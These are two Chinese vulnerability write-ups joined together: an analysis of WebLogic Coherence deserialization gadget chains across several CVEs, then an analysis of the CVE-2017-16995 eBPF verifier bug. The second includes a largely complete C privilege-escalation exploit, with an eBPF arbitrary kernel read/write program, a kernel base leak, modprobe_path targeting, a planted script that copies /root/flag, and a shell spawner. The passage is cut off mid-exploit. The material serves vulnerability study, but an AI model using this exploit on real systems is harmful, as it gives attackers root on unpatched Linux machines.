想理清 WebLogic 的 Coherence 组件历史反序列化漏洞需要首先了解一些 Coherence
组件反序列化漏洞中经常会涉及的一些接口和类。他们在 Coherence 组件反序列化漏洞利用中经常出现。
### ValueExtractor
`com.tangosol.util.ValueExtrator` 是一个接口：
在 Coherence 中 很多名字以 `Extrator` 结尾的类都实现了这个接口：
这个接口中声明了一个 `extract` 方法，而 `ValueExtractor.extract` 正是 Coherence 组件历史漏洞（
`ValueExtractor.extract` 链部分 ）的关键。
### ExternalizableLite
Coherence 组件中存在一个 `com.tangosol.io.ExternalizableLite`，它继承了
`java.io.Serializable`，另外声明了 `readExternal` 和 `writeExternal` 这两个方法。
`com.tangosol.io.ExternalizableLite` 接口 和 jdk 原生的 `java.io.Externalizable`
很像，注意不要搞混了。
### ExternalizableHelper
上面提到的 `com.tangosol.io.ExternalizableLite` 接口的实现类的序列化和反序列化操作，都是通过
`ExternalizableHelper` 这个类来完成的。
我们可以具体看 `ExternalizableHelper` 这个类是怎么对实现 `com.tangosol.io.ExternalizableLite`
接口的类进行序列化和反序列化的，这里以 `readObject` 方法为例，`writeObject` 读者可自行去查看：
如果传入的`DataInput` 不是 `PofInputStream` 的话（Coherence 组件历史漏洞 涉及到的
`ExternalizableHelper.readObject` 传入的 `DataInput` 都不是
`PofInputStream`），`ExternalizableHelper#readObject` 中会调用
`ExternalizableHelper#readObjectInternal` 方法：
`readObjectInternal` 中会根据传入的中 `nType` 进行判断，进入不同的分支：
对于实现 `com.tangosol.io.ExternalizableLite` 接口的对象，会进入到 `readExternalizableLite`
方法：
可以看到在 `readExternalizableLite` 中 1125 行会根据类名加载类，然后并且实例化出这个类的对象，然后调用它的
`readExternal()` 方法。
## 漏洞链
### ValueExtractor.extract
我们在分析反序列化利用链的时候，可以把链分为四部分，一个是链头，一个是危险的中间的节点（漏洞点），另一个是调用危险中间节点的地方（触发点），最后一个则是利用这个节点去造成危害的链尾。
在 Coherence 组件 `ValueExtractor.extract` 利用链架构中，这个危险的中间节点就是
`ValueExtractor.extract` 方法。
**漏洞点**
**ReflectionExtractor**
`ReflectionExtractor` 中的 `extract` 方法含有对任意对象方法的反射调用：
配合 `ChainedExtractor` 和 `ConstantExtractor` 可以实现类似 cc1 中的 `transform` 链的调用。
**涉及 CVE**
CVE-2020-2555，CVE-2020-2883
**MvelExtractor**
`MvelExtrator` 中的 `extract` 方法，会执行任意一个 MVEL 表达式（RCE）：
而在序列化和反序列化的时候 `m_sExpr` 会参与序列化和反序列化：
所以 `m_xExpr` 可控，所以就导致可以利用 `MvelExtrator.extrator` 来达到执行任意命令的作用。
**涉及 CVE**
CVE-2020-2883
**UniversalExtractor**
`UniversalExtractor`（Weblogic 12.2.1.4.0 独有） 中的 `extract` 方法，可以调用任意类中的的 `get`
和 `is` 开头的无参方法，可以配合 `jdbsRowset`，利用 JDNI 来远程加载恶意类实现 RCE。
具体细节可以参考：<https://nosec.org/home/detail/4524.html>
**涉及 CVE**
CVE-2020-14645，CVE-2020-14825 ， CVE-2020-14841
**LockVersionExtractor**
`oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor`
中的 `extract()` 方法，可以调用任意 `AttributeAccessor` 的 `getAttributeValueFromObject`
方法，赋值 `Accessor` 为 `MethodAttributeAccessor` 进而可以实现调用任意类的无参方法。
具体细节可参考：<https://cloud.tencent.com/developer/article/1740557>
**`MethodAttributeAccessor.getAttributeValueFromObject`**
，本质是利用`MethodAttributeAccessor.getAttributeValueFromObject`中存在任意无参方法调用，在
CVE-2021-2394 中也利用到了。
**涉及 CVE**
CVE-2020-14825 ， CVE-2020-14841
**FilterExtractor.extract**
`filterExtractor.extract` 中存在任意
`AttributeAccessor.getAttributeValueFromObject(obj)` 的调用，赋值
this.attributeAccessor 为上面说的`MethodAttributeAccessor` 就可以导致任意无参方法的调用。
关于 `readAttributeAccessor` 的细节可以看
CVE-2021-2394：<https://blog.riskivy.com/weblogic-cve-2021-2394-rce%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/> 和
<https://www.cnblogs.com/potatsoSec/p/15062094.html> 。
**涉及 CVE**
CVE-2021-2394
**触发点**
上面例举出了很多危险的 `ValueExtractor.extract` 方法，接下来再看看哪里存在调用 `ValueExtractor.extract`
方法的地方。
**Limitfiler**
Limitfiler 中 `Limitfiler.toString` 中存在任意 `ValueExtractor.extract` 方法调用：
由于 `this.m_comparator` 参与序列化和反序列化，所以可控：
我们只需要赋值 `this.m_comparator` 为 恶意的 `ValueExtractor` 就可以实现任意 `ValueExtractor
.extract` 方法的调用。`toString` 方法，则可以利用 CC5 中用到的 `BadAttributeValueExpException`
来触发。
**涉及 CVE**
CVE-2020-2555
**ExtractorComparator**
`ExtractorComparator.compare` ，其实是针对 CVE-2020-2555 补丁的绕过，CVE-2020-2555
的修复方法中修改了 `Limitfiler.toString` 方法，也就是说修改了一个调用 `ValueExtractor.extract` 方法的地方。
而 CVE-2020-2883 则找到另一个调用 `ValueExtractor.extract` 的地方，也就是
`ExtractorComparator.compare` 。
在`ExtratorComparator.compare` 中存在任意（因为 `this.m_extractor` 参与序列化和反序列化）
`ValueExtractor` 的 `extract` 方法调用。
`Comparator.compare 方法，则可以通过 CC2 中用到的`PriorityQueue.readObject` 来触发。
另外在 weblogic 中， `BadAttributeValueExpException.readObject` 中也可以实现调用任意
`compartor.compare`方法：
**涉及 CVE**
CVE-2020-2883，修复方法是将 `ReflectionExtractor` 和 `MvelExtractor` 加入了黑名单 。
CVE-2020-14645 使用 `com.tangosol.util.extractor.UniversalExtractor` 绕过，修复方法将
`UniversalExtractor` 加入黑名单。
CVE-2020-14825，CVE-2020-14841 使用
`oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor.LockVersionExtractor`
进行绕过。
### ExternalizableHelper
在分析`ExternalizableHelper`
利用链架构的时候，我们依然可以把链分为四部分，一个是链头，一个是危险的中间的节点（漏洞点），另一个是调用危险中间节点的地方（触发点），最后一个则是利用这个节点去造成危害的链尾。
在 `ExternalizableHelper` 利用链架构中，这个危险的中间节点就是 `ExternalizableLite.readExternal`
方法。
weblogic 对于反序列化类的过滤都是在加载类时进行的，因此在
`ExternalizableHelper.readExternalizableLite` 中加载的 class 是不受黑名单限制的。
具体原因是：weblogic 黑名单是基于 jep 290 ，jep 290 是在 `readObject`
的时候，在得到类名后去检查要反序列化的类是否是黑名单中的类。而这里直接使用的 `loadClass` 去加载类，所以这里不受 weblogic
黑名单限制。（也可以这么理解： jep 290 是针对在反序列化的时候，通过对要加载类进行黑名单检查。而这里直接通过 `loadClass`
加载，并没有通过反序列化，和反序列化是两码事，当然在后续 `readExternal` 的时候还是受 weblogic
黑名单限制，因为走的是反序列化那一套）
weblogic
黑名单机制可以参考：[https://cert.360.cn/report/detail?id=c8eed4b36fe8b19c585a1817b5f10b9e，https://cert.360.cn/report/detail?id=0de94a3cd4c71debe397e2c1a036436f，https://www.freebuf.com/vuls/270372.html](https://cert.360.cn/report/detail?id=c8eed4b36fe8b19c585a1817b5f10b9e%EF%BC%8Chttps://cert.360.cn/report/detail?id=0de94a3cd4c71debe397e2c1a036436f%EF%BC%8Chttps://www.freebuf.com/vuls/270372.html)
**漏洞点**
**PartialResult**
`com.tangosol.util.aggregator.TopNAggregator.PartialResult` 的 `readExternal`
会触发任意 `compartor.compare` 方法。
大致原理：
在 182 行会把comparator 作为参数传入 TreeMap 的构造函数中。
然后186 行，会调用 this.add ,this.add 会调用 this.m_map.put 方法，也就是说调用了 TreeMap 的 put 方法，这就导致了 comparator.compare()的调用。
具体分析见：<https://mp.weixin.qq.com/s/E-4wjbKD-iSi0CEMegVmZQ>
然后调用 `comparator.compare` 就可以接到 `ExtractorComparator.compare` 那里去了，从而实现 rce 。
**涉及 CVE**
**CVE-2020-14756 （1月）**
`ExternalizableHelper` 的利用第一次出现是在 CVE-2020-14756 中。利用的正是
`ExternalizableHelper` 的反序列化通过 `loadClass` 加载类，所以不受 weblogic
之前设置的黑名单的限制。具体利用可以参考：<https://mp.weixin.qq.com/s/E-4wjbKD-iSi0CEMegVmZQ>
CVE-2020-14756 的修复方法则是对 `readExternalizable` 方法传入的 `Datainput` 检查，如果是
`ObjectInputStream` 就调用 checkObjectInputFilter() 进行检查，`checkObjectInputFilter`
具体是通过 jep290 来检查的。
**CVE-2021-2135 （4月）**
上面补丁的修复方案 只是检查了 `DataInput` 为 `ObjectInputStream` 的情况, 却没有过滤其他 `DataInput` 类型
。
那我们只需要找其他调用 `readExternalizableit` 函数的地方,并且传入的参数不是 `ObjectInputStream`
就可以了。【`ObjectInputStream` 一般是最常见的,通常来说是 `readObject` =>`readObjectInternal`
=>`readExternalizableite` 这种链,也就是上游是常见的 `readObject`,
所以补丁就可能只注意到ObjectInputStream 的情况。】
所以CVE-2021-2135 绕过的方法就是设置传入 `readExternalizableite` 函数的参数类型为 `BufferInput`
来进行绕过。
`ExternalizableHelper` 中调用 `readObjectInternal` 的地方有两处,一处是
`readObjectInternal` , 另一处则是 `deserializeInternal` 。而 deserializeInternal 会先把
`DataInput` 转化为 `BufferInut` ：
所以只要找调用 `ExternalizableHelper .deserializeInternal` 的地方。
而 `ExternalizableHelper.fromBinary` （和 `ExternalizableHelper.readObject` 平级的关系
）里就调用了 `deserializeInternal` , 所以只需要找到一个地方用 来
`ExternalizableHelper.fromBinary` 来反序列化就可以接上后面的（CVE-2020-14756）利用链了。
然后就是找 调用了 `ExternalizableHelper.fromBinary` 的方法的地方。`SimpleBinaryEntry` 中的
`getKey` 和 `getValue`方法中存在 `ExternalizableHelper.fromBinary` 的调用，所以就只要找到调用
`getKey` 和 `getValue` 的地方就可以了。
然后在 `com.sun.org.apache.xpath.internal.objects.XString`重写的`equals`方法里调用了
`tostring` ，在 `tostring` 中调用了 `getKey` 方法。
`ExternalizableHelper#readMap` 中会调用 `map.put` ，`map.put` 会调用 `equals` 方法。
`com.tangosol.util.processor.ConditionalPutAll` 的 `readExteranl` 中调用了
`ExternalizableHelper#readMap` 方法。
然后再套上 `AttributeHolder` 链头就可以了。
具体可以参考：<https://mp.weixin.qq.com/s/eyZfAPivCkMbNCfukngpzg>
4月漏洞修复则是：
1.添加`simpleBianry` 到黑名单。
2.设置了白名单：
private static final Class[] ABBREV_CLASSES = new Class[]{String.class, ServiceContext.class, ClassTableEntry.class, JVMID.class, AuthenticatedUser.class, RuntimeMethodDescriptor.class, Immutable.class};
#### filterExtractor
`filterExtractor.reaExternal` 方法中的 `readAttributeAccessor()` 方法会直接 `new` 一个
`MethodAttributeAccessor` 对象。
随后在 `filterExtractor.extract` 函数中会因为调用
`this.attributeAccessor.getAttributeValueFromObject` 进而导致任意无参方法的调用。
**涉及 CVE**
**CVE-2021-2394 （4月）**
在4月的补丁中，对 ois 的 `DataInput` 流进行了过滤，所以直接通过 `newInstance`
实例化恶意类的方式已经被阻止（CVE-2021-2135 通过 `bufferinputStream` 进行了绕过），所以需要重新寻找其他不在黑名单中的
`readExternal` 方法。
CVE-2021-2394 中就是利用 `filterExtractor.readExternal` 来进行突破。
具体可以参考：<https://blog.riskivy.com/weblogic-cve-2021-2394-rce%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/> 和
<https://www.cnblogs.com/potatsoSec/p/15062094.html>
**触发点**
`ExternalizableHelper.readExternal` 的触发点有 `ExternalizableHelper.readObject` 和
`ExternalizableHelper.fromBinary` 这两个。其中 CVE-2021-2135 则就是因为在 CVE-2020-14756
的修复方法中，只注意到了 `ExternalizableHelper.readObject`
，只在`ExternalizableHelper.readObject` 里面做了限制，但是没有考虑到
`ExternalizableHelper.fromBinary` 从而导致了绕过。
`ExternalizableHelper.readObject`可以利用
`com.tangosol.coherence.servlet.AttributeHolder`来触发，`com.tangosol.coherence.servlet.AttributeHolder`
实现了 `java.io.Externalizabe` 接口，并且他的`readExternal` 方法 调用了
`ExternalizableHelper.readObject(in)` 。
`ExternalizableHelper.fromBinary`
的触发则较为复杂一些，具体可以参考：<https://mp.weixin.qq.com/s/eyZfAPivCkMbNCfukngpzg>
## 后记
weblogic Coherence 反序列化漏洞很多都是相关联的，对于某个漏洞，很可能就是用到了之前一些漏洞的链子。其实不仅仅 weblogic
，java
其他反序列化链也是如此，很多情况都是一个链会用到其他链的一部分。所以在学习中，把一个组件或者一个库的漏洞总结起来一起分析还是比较重要的，最后希望这篇文章能帮助到其他一起学反序列化的朋友们。
## 参考
<https://nosec.org/home/detail/4524.html>
<https://cloud.tencent.com/developer/article/1740557>
<https://blog.riskivy.com/weblogic-cve-2021-2394-rce%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/>
<https://www.cnblogs.com/potatsoSec/p/15062094.html>
<https://cert.360.cn/report/detail?id=c8eed4b36fe8b19c585a1817b5f10b9e>
<https://cert.360.cn/report/detail?id=0de94a3cd4c71debe397e2c1a036436f>
<https://www.freebuf.com/vuls/270372.html>
<https://mp.weixin.qq.com/s/E-4wjbKD-iSi0CEMegVmZQ>
<https://mp.weixin.qq.com/s/eyZfAPivCkMbNCfukngpzg> | 社区文章 |
# CVE-2017-16995 eBPF 整数扩展问题导致本地提权漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
漏洞是由于ebpf模块的整数扩展问题导致可以一段指令绕过verifier的检测，进而向内核注入任意的执行代码，导致本地提权。这里就不在介绍ebpf的基础知识了，网上资料很多，可以学习一波。
## 漏洞分析
先看一下poc
1.BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF), /* r9 = (u32)0xFFFFFFFF */
2.BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2), /* if (r9 == -1) { */
3.BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */
4.BPF_EXIT_INSN()
5.……
由于verifier中对jmp和mov的检测与执行时候的语义不同导致我们可以将5指令之后的一系列指令绕过verifier的检测。
### verifier检查时
我们具体来看一下。首先检测的是mov32这条指令。由于MOV32_IMM指令属于ALU这个class进入如下的分支。
static int do_check(struct bpf_verifier_env *env)
{
//...
if (class == BPF_ALU || class == BPF_ALU64) {
err = check_alu_op(env, insn);
if (err)
return err;
}
//...
}
接着进入checl_alu_op函数中的如下分支，由于第一条指令我们是立即数因此这里的BPF_SRC(insn->code) == BPF_K
static int check_alu_op(struct verifier_env *env, struct bpf_insn *insn)
{
//...
else if (opcode == BPF_MOV) {
if (BPF_SRC(insn->code) == BPF_X) {
//...
} else {
if (insn->src_reg != BPF_REG_0 || insn->off != 0) {
verbose("BPF_MOV uses reserved fields\n");
return -EINVAL;
}
}
/* check dest operand */
//此时寄存器是作为目的操作数，这里进行一些检查，如目的寄存器不能是fp也就是reg10，并且将目的寄存器的type标记为unknown
err = check_reg_arg(regs, insn->dst_reg, DST_OP);
if (err)
return err;
if (BPF_SRC(insn->code) == BPF_X) {
//...
} else {
/* case: R = imm
* remember the value we stored into this reg
*/
//最终会执行到这里
regs[insn->dst_reg].type = CONST_IMM;
regs[insn->dst_reg].imm = insn->imm;
}
}
//...
}
最终也就是会执行
regs[insn->dst_reg].type = CONST_IMM;
regs[insn->dst_reg].imm = insn->imm;
将目的寄存器的type设置为IMM，将imm成员变量设置为0xffffffff。其中`regs`的结构体定义如下，用来表示一个寄存器的状态。可以看到这里的imm也是int类型与insn中的imm类型相同。
struct reg_state {
enum bpf_reg_type type;
union {
/* valid when type == CONST_IMM | PTR_TO_STACK */
int imm;
/* valid when type == CONST_PTR_TO_MAP | PTR_TO_MAP_VALUE |
* PTR_TO_MAP_VALUE_OR_NULL
*/
struct bpf_map *map_ptr;
};
};
那么当执行到第二条指令也就是`BPF_JMP_IMM`的时候，就会进入如下的分支
static int do_check(struct bpf_verifier_env *env)
{
//...
else if (class == BPF_JMP) {
u8 opcode = BPF_OP(insn->code);
//...
else {
//处理条件跳转
err = check_cond_jmp_op(env, insn, &insn_idx);
if (err)
return err;
}
}
//...
}
接着会进入到check_cond_jmp_op函数的如下分支
static int check_cond_jmp_op(struct verifier_env *env,
struct bpf_insn *insn, int *insn_idx)
{
//...
if (BPF_SRC(insn->code) == BPF_X) {
//...
} else {
if (insn->src_reg != BPF_REG_0) {
verbose("BPF_JMP uses reserved fields\n");
return -EINVAL;
}
}
err = check_reg_arg(regs, insn->dst_reg, SRC_OP);
if (err)
return err;
if (BPF_SRC(insn->code) == BPF_K &&
(opcode == BPF_JEQ || opcode == BPF_JNE) &&
regs[insn->dst_reg].type == CONST_IMM &&
regs[insn->dst_reg].imm == insn->imm) {
if (opcode == BPF_JEQ) {
/* if (imm == imm) goto pc+off;
* only follow the goto, ignore fall-through
*/
*insn_idx += insn->off;
return 0;
} else {
/* if (imm != imm) goto pc+off;
* only follow fall-through branch, since
* that's where the program will go
*/
// 这里直接返回
return 0;
}
}
//...
}
可以看到处理的逻辑，这里判断了regs[insn->dst_reg].imm ==
insn->imm，由于这两个结构体中的imm类型均相同都为int，因此这里的条件判读恒成立，直接返回。不会在进行后续的push_stack等增加分支以进行遍历检查的操作。
我们看一下exit的检查分支
static int do_check(struct bpf_verifier_env *env)
{
//...
else if (class == BPF_JMP) {
u8 opcode = BPF_OP(insn->code);
//...
else if (opcode == BPF_EXIT) {
if (BPF_SRC(insn->code) != BPF_K ||
insn->imm != 0 ||
insn->src_reg != BPF_REG_0 ||
insn->dst_reg != BPF_REG_0) {
verbose("BPF_EXIT uses reserved fields\n");
return -EINVAL;
}
/* eBPF calling convetion is such that R0 is used
* to return the value from eBPF program.
* Make sure that it's readable at this time
* of bpf_exit, which means that program wrote
* something into it earlier
*/
err = check_reg_arg(regs, BPF_REG_0, SRC_OP);
if (err)
return err;
if (is_pointer_value(env, BPF_REG_0)) {
verbose("R0 leaks addr as return value\n");
return -EACCES;
}
process_bpf_exit:
insn_idx = pop_stack(env, &prev_insn_idx);// 如果有其他分支的话遍历检查
if (insn_idx < 0) {
break;
} else {
do_print_state = true;
continue;
}
}
}
//...
}
也就是说当我们执行到第四条指令即jmp exit的时候，经过上述检查，到`insn_idx = pop_stack(env,
&prev_insn_idx);`会显示没有其他的分支，退出verifirer的死循环，检查结束。也就是说从第5条指令开始的后续指令都不用通过verifier的检查。
### __bpf_prog_run执行时
第一条指令执行的时候会进入到ALU_MOV_K分支
#define DST regs[insn->dst_reg]
#define IMM insn->imm
ALU_MOV_K:
DST = (u32) IMM;
CONT;
但是注意到这里的regs与verifier中的regs并不相同，此时的regs是__bpf_prog_run函数中的局部变量
u64 regs[MAX_BPF_REG], tmp;
注意到这里时u64类型的。而在赋值的过程中将imm强制类型转换为了u32类型。
JMP_JNE_K:
if (DST != IMM) {
insn += insn->off;
CONT_JMP;
}
CONT;
这里的IMM也就是insn->imm的类型没变，还是int类型，也就是下面结构体中的__s32类型。
struct bpf_insn {
__u8 code; /* opcode */
__u8 dst_reg:4; /* dest register */
__u8 src_reg:4; /* source register */
__s16 off; /* signed offset */
__s32 imm; /* signed immediate constant */
};
因此这里两者类型冲突判断不成立，也就是这里总是会发生跳转。就绕过了exit从第5条指令开始执行。那么注意到的是第5条指令之后都是未经过verifier验证的指令。
因此这里我们可以向kernel中注入任意的指令。
## 漏洞利用
已经可以向kernel中注入任意的指令，那么我们这里就可以做到任意内存读取了。关键部分的ebpf程序在这
BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF), /* r9 = (u32)0xFFFFFFFF */
BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2), /* if (r9 == -1) { */
BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */
BPF_EXIT_INSN(),
BPF_GET_MAP(ctrl_mapfd, 0),
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // reg6 = opcode
BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 8), // reg7 = index/address
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_0, 0x10), // reg8 = value
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), // save map address to reg9
// opcode = 0, read map + index
BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_7), // r0 += r7
// read
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 4),
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // r6 = *r0
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_6, 0), // *r9 = r6 save res to map[0]
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
//write opcode = 1
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3),
BPF_STX_MEM(BPF_DW, BPF_REG_0, BPF_REG_8, 0), // *r0 = r8
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
// opcode = 2 get reg10 value
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 4),
BPF_MOV64_REG(BPF_REG_6, BPF_REG_10), // reg1 = reg10
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_6, 0), // *reg9 = reg10
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
// opcode = 3 ab read
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 3, 4), // opcode =3 ab read reg7 address
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_7, 0), // reg6 = *r7
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_6, 0), // *reg9 = reg6
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
//opcode = 4 ab write
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), // *reg7 = reg8
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
代码应该很容易理解，这里就不解释了
这里利用存在两种方式
### 覆写cred
由于我们可以任意注入指令，因此这里我们可以直接拿到reg10也就是内核栈地址了。
current = stack_address & ~(0x4000 - 1)
current偏移为0的位置指向的就是current_task的地址，也就是当前进程的struct
task结构。从这个结构中我们能拿到cred的地址，之后覆写uid就可了。
pwndbg> p/x 0xffff88001dbc3cc0 & ~(0x4000 - 1) // reg10, kernel stack
$4 = 0xffff88001dbc0000
pwndbg> x/2gx 0xffff88001dbc0000// current
0xffff88001dbc0000: 0xffff88001db2d080 0x0000000000000000
pwndbg> p ((struct task_struct *)0xffff88001db2d080)->cred
$5 = (const struct cred *) 0xffff88001db41a80
pwndbg> p *((struct task_struct *)0xffff88001db2d080)->cred
$6 = {
usage = {
counter = 9
},
uid = {
val = 1000
},
gid = {
val = 1000
},
suid = {
val = 1000
}
不同系统的task中cred的偏移不同，因此这里可以用爆破即首先通过prctl设置name，然后直接爆破搜索即可。但是这样是有点麻烦的。因为我们已经知道了task的地址，而cred距离task不远，因此这里我们直接搜索uid/gid也就是可以的。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stddef.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/ipc.h>
#include <sys/types.h>
#include <sys/msg.h>
#include <fcntl.h>
#include <inttypes.h>
#include <pthread.h>
#include <poll.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <sys/shm.h>
#include <sys/syscall.h>
#include <sys/un.h>
#include <sys/xattr.h>
#include <linux/userfaultfd.h>
#include "bpf.h"
char buffer[64];
int sockets[2];
int ctrl_mapfd;
int vuln_mapfd;
size_t ctrlmap_ptr;
size_t vulnmap_ptr;
size_t leakbuf[0x100];
size_t ctrlbuf[0x100];
size_t kbase;
size_t pivot_esp;
size_t modprobe_path;
unsigned long long user_cs, user_ss, user_rflags;
unsigned long user_stack = 0;
struct message
{
long type;
char text[0x800];
} msg;
void msg_alloc(int id, int size)
{
if (msgsnd(id, (void *)&msg, size - 0x30, IPC_NOWAIT) < 0)
{
perror(strerror(errno));
exit(1);
}
}
void heap_spray()
{
int msqid;
msg.type = 1;
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) < 0)
{
perror(strerror(errno));
exit(1);
}
for (int i = 0; i < 0x17; ++i)
{
msg_alloc(msqid, 0x200);
}
}
void get_shell()
{
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
puts("[+] win!");
execve("/bin/sh", argv, envp);
}
void update_elem_ctrl()
{
int key = 0;
if (bpf_update_elem(ctrl_mapfd, &key, ctrlbuf, 0))
{
printf("bpf_update_elem failed '%s'\n", strerror(errno));
}
}
void get_elem_ctrl()
{
int key = 0;
if (bpf_lookup_elem(ctrl_mapfd, &key, leakbuf))
{
printf("bpf_lookup_elem failed '%s'\n", strerror(errno));
}
}
void debugmsg(void)
{
char buffer[64];
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if (n < 0)
{
perror("write");
return;
}
if (n != sizeof(buffer))
fprintf(stderr, "short write: %lu\n", n);
}
int load_prog()
{
// make bpf_map alloc to new page, in order to leak heap pointer stablly
// heap_spray();
// size == 0x100, useful to set data on bpfarray
ctrl_mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x100, 1, 0);
if (ctrl_mapfd < 0)
{
puts("failed to create map1");
return -1;
}
printf("create first map finished %p\n", ctrl_mapfd);
// size*count should be the same as ctrl_map
vuln_mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x100, 1, 0);
if (vuln_mapfd < 0)
{
puts("failed to create map2");
return -1;
}
printf("create vuln map finished %p\n", vuln_mapfd);
// sizeof(struct bpf_array) == 0x200
// offset of bpf_array.value == 0x90
struct bpf_insn prog[] =
{
// DW == 8bytes
BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF), /* r9 = (u32)0xFFFFFFFF */
BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2), /* if (r9 == -1) { */
BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */
BPF_EXIT_INSN(),
BPF_GET_MAP(ctrl_mapfd, 0),
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // reg6 = opcode
BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 8), // reg7 = index/address
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_0, 0x10), // reg8 = value
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), // save map address to reg9
// opcode = 0, read map + index
BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_7), // r0 += r7
// read
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 4),
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // r6 = *r0
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_6, 0), // *r9 = r6 save res to map[0]
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
//write opcode = 1
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3),
BPF_STX_MEM(BPF_DW, BPF_REG_0, BPF_REG_8, 0), // *r0 = r8
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
// opcode = 2 get reg10 value
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 4),
BPF_MOV64_REG(BPF_REG_6, BPF_REG_10), // reg1 = reg10
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_6, 0), // *reg9 = reg10
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
// opcode = 3 ab read
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 3, 4), // opcode =3 ab read reg7 address
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_7, 0), // reg6 = *r7
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_6, 0), // *reg9 = reg6
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
//opcode = 4 ab write
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), // *reg7 = reg8
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
printf("call ing prog load fun\n");
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog) / sizeof(struct bpf_insn), "GPL");
}
void infoleak()
{
update_elem_ctrl();
printf("update elem ctrl finished\n");
debugmsg();
get_elem_ctrl();
printf("get elem ctrl finished\n");
// debugmsg();
}
void save_state()
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_stack), "=r"(user_rflags)
:
: "memory");
}
int main()
{
save_state();
signal(SIGSEGV, get_shell);
system("/bin/mkdir /tmp");
system("echo -ne '#!/bin/sh\n/bin/cp /root/flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/a");
system("chmod +x /tmp/a");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/ll");
system("chmod +x /tmp/ll");
int progfd = load_prog();
printf("load prog finished \n");
if (progfd < 0)
{
printf("log:\n%s", bpf_log_buf);
if (errno == EACCES)
printf("failed to load prog '%s'\n", strerror(errno));
}
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
{
strerror(errno);
return 0;
}
if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
{
strerror(errno);
return 0;
}
ctrlbuf[0] = 0;
ctrlbuf[1] = 0x1c0;
infoleak();
kbase = leakbuf[0] - 0xa13e60;
modprobe_path = kbase + 0xe3cb00;
printf("[+] leak kernel kbase: 0x%lx\n", kbase);
